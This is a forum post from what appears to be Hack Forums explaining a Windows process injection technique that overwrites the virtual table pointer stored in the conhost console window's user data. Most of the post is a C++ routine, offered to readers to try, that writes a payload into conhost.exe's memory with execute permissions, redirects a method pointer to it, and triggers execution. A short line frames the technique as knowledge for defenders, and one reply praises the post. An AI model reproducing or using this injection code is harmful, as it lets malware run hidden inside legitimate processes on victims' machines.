Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

HF Rulez the UniverseHF Rulez the Universe
Aeon
Coder
Process Injection injection process inject malware hackforums

Process Injection

Posted Oct 11, 2023 10:36 PM
Process Injection Unveiled: Unleashing the Window User Data Exploit

In the realm of process injection, a cunning method unfolds by wielding the User Data within a window object.

Harnessing the User Data Reservoir:

The User Data, a modest memory allocation, typically harbors a pointer to a class object. This reservoir of memory finds its utility through the SetWindowLongPtr API and its trusty companion, the GWLP_USERDATA parameter. However, a twist emerges when delving into the Console Window Host (conhost) process. Here, the User Data of a window serves as the vault, safeguarding the address of a data structure replete with vital insights—details on the window's spatial coordinates, dimensions, object handle, and a class object replete with methods steering the console window's behavior.

Crafty Manipulation Unveiled:

Crafty manipulation of this window's User Data opens a gateway—a path where the execution of arbitrary code materializes within the contextual boundaries of the associated process. The alchemy of process injection is laid bare, poised to rewrite the rules of engagement.

As defenders of digital realms, it is paramount to grasp the intricacies of this window-based intrusion vector and fortify our defenses against the surreptitious maneuvers that seek to exploit it. Understanding this exploit empowers us to protect against this cunning intrusion technique.

C++ Example from the internet you can try:
Code
VOID conhostInject(LPVOID payload, DWORD payloadSize) {
    HWND          hwnd;
    LONG_PTR      udptr;
    DWORD         pid, ppid;
    SIZE_T        wr;
    HANDLE        hp;
    ConsoleWindow cw;
    LPVOID        cs, ds;
    ULONG_PTR     vTable;
    
    // 1. Obtain handle and process id for a console window
    //   (this assumes one already running)
    hwnd = FindWindow(L"ConsoleWindowClass", NULL);
    
    GetWindowThreadProcessId(hwnd, &ppid);
    // 2. Obtain the process id for the host process
    pid = conhostId(ppid);
    
    // 3. Open the conhost.exe process
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    // 4. Allocate RWX memory and copy the payload there
    cs = VirtualAllocEx(hp, NULL, payloadSize,
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
    // 5. Read the address of current virtual table
    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
    ReadProcessMemory(hp, (LPVOID)udptr,
        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
    
    // 6. Read the current virtual table into local memory
    ReadProcessMemory(hp, (LPVOID)vTable,
      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);
      
    // 7. Allocate RW memory for the new virtual table
    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 8. update the local copy of virtual table with
    //    address of payload and write to remote process
    cw.GetWindowHandle = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
    // 9. Update pointer to virtual table in remote process
    WriteProcessMemory(hp, (LPVOID)udptr, &ds,
      sizeof(ULONG_PTR), &wr);
    // 10. Trigger execution of the payload
    SendMessage(hwnd, WM_SETFOCUS, 0, 0);
    // 11. Restore pointer to original virtual table
    WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
      sizeof(ULONG_PTR), &wr);
    
    // 12. Release memory and close handles
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    
    CloseHandle(hp);
Oct 11, 2023 10:42 PM
Awesome blog post! I love it. thanks for the share 🫡💕